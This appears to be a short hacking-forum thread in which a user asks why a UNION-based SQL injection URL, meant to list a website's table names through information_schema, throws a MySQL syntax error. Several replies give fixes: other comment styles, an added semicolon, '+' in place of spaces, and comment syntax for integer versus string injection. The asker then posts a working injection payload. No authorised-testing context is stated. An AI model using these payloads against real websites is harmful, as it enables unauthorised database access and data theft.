sqli error

[$Clone]

hey there am try to test for sqli in a website where i have found table to be vulnerable. the url is
http://www.example.com/test.php?id=null UNION SELECT 1,group_concat(table_NAME),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database--

i get error:

Code: [Select]

invalid query: You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '-' at line 1
i have tried removing the -- but i don't get how??/ its not working.....

[andmuchmore]

Have you tried different comment types?
# or /* instead of -- ect?

[sh4d0w_w4tch]

You need to include ; before the comment.  As was mentioned, try using different comment types.

[Stackprotector]

^ this and try to include + instead of spaces.

[$Clone]

actually i notice once you get the vul tables you just put
www.example.com/index.php?id=null UNION SELECT 1,table_NAME,3,4,5,6,7,8,9,10 from information_schema.tables-- and it worked fine

[Vellichor]

-- is sufficient for normal integer based injection
--+-+ / -- - is required upon handling string-based injection
all speaking MySQL>=5